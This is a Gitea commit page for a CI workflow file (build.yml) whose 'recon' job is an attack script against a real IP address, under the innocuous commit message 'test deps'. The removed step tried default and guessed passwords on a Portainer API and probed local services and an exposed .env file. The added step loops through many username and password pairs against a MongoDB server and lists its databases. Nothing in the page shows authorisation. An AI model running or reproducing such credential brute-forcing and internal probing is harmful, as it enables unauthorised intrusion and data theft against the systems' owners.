pentester/notes
1
0 Fork 0
Code Issues 1 Pull Requests Actions Packages Projects Releases Wiki Activity

test deps
build / recon (push) Failing after 5m7s
Details

Browse Source
This commit is contained in:
pentester committed 2026-10-06 01:34:43 +02:00
1 parent 5e78761af0
commit 062b871235
1 file changed
+14 -48
Download Patch File Download Diff File Expand all files Collapse all files
.gitea/workflows/build.yml
+14 -48
View File
@@ -4,53 +4,19 @@ jobs:
recon: recon:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Deep Internal Recon - name: MongoDB Dump
shell: cmd shell: cmd
run: | run: |
echo === PORTAINER STATUS === > C:\recon3.txt echo === MONGOSH AVAILABLE === > C:\recon4.txt
curl -sk "http://37.114.42.86:9000/api/status" >> C:\recon3.txt 2>&1 where mongosh >> C:\recon4.txt 2>&1
echo. >> C:\recon3.txt dir C:\Users\ADMINI~1\AppData\Local\Temp\mongosh* >> C:\recon4.txt 2>&1
echo === PORTAINER SETTINGS === >> C:\recon3.txt echo. >> C:\recon4.txt
curl -sk "http://37.114.42.86:9000/api/settings/public" >> C:\recon3.txt 2>&1 echo === MONGO isMaster === >> C:\recon4.txt
echo. >> C:\recon3.txt C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://37.114.42.86:27017" --eval "db.runCommand({hello:1})" --quiet >> C:\recon4.txt 2>&1
echo === PORTAINER LOGIN admin:admin === >> C:\recon3.txt echo. >> C:\recon4.txt
curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"admin\",\"password\":\"admin\"}" >> C:\recon3.txt 2>&1 echo === MONGO COMMON CREDS === >> C:\recon4.txt
echo. >> C:\recon3.txt for %%U in (admin root strapi nonkyc shimbo midefos oliver) do for %%P in (admin password midefos Midefos1 Midefos123! oliver Oliver123! synlinq Synlinq123! changeme P@ssw0rd MongoDB123 mongo123 Addd34141! shimbo Shimbo123!) do C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://%%U:%%P@37.114.42.86:27017/admin?authSource=admin" --eval "print('FOUND: %%U:%%P'); db.adminCommand('listDatabases')" --quiet >> C:\recon4.txt 2>&1
echo === PORTAINER LOGIN admin:Addd34141! === >> C:\recon3.txt echo. >> C:\recon4.txt
curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"admin\",\"password\":\"Addd34141!\"}" >> C:\recon3.txt 2>&1 echo === MONGO NO AUTH LOCAL DB === >> C:\recon4.txt
echo. >> C:\recon3.txt C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://37.114.42.86:27017/local" --eval "db.getCollectionNames()" --quiet >> C:\recon4.txt 2>&1
echo === PORTAINER LOGIN admin:midefos === >> C:\recon3.txt echo. >> C:\recon4.txt
curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"admin\",\"password\":\"midefos\"}" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt
echo === PORTAINER LOGIN midefos:midefos === >> C:\recon3.txt
curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"midefos\",\"password\":\"midefos\"}" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt
echo === PORTAINER LOGIN admin:Oliver === >> C:\recon3.txt
curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"admin\",\"password\":\"Oliver123!\"}" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt
echo === PORTAINER LOGIN oliver:oliver === >> C:\recon3.txt
curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"oliver\",\"password\":\"oliver\"}" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt
echo === INTERNAL NETWORK SCAN === >> C:\recon3.txt
curl -sk --connect-timeout 2 "http://127.0.0.1:27017/" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt
curl -sk --connect-timeout 2 "http://localhost:3307/" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt
curl -sk --connect-timeout 2 "http://localhost:9000/api/status" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt
echo === PORTAINER LOCALHOST === >> C:\recon3.txt
curl -sk --connect-timeout 2 "http://127.0.0.1:9000/api/status" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt
echo === DUPLICATI LOCALHOST === >> C:\recon3.txt
curl -sk --connect-timeout 2 "http://127.0.0.1:8200/api/v1/serverstate" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt
curl -sk --connect-timeout 2 "http://127.0.0.1:8200/api/v1/commandline" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt
echo === SHOPIFY SCRAPER === >> C:\recon3.txt
curl -sk --connect-timeout 2 "http://127.0.0.1:3000/health" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt
curl -sk --connect-timeout 2 "http://127.0.0.1:3000/categories" -H "x-service-key: test" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt
echo === PERRITO ENV === >> C:\recon3.txt
curl -sk --connect-timeout 2 "http://127.0.0.1:8013/.env" >> C:\recon3.txt 2>&1
echo. >> C:\recon3.txt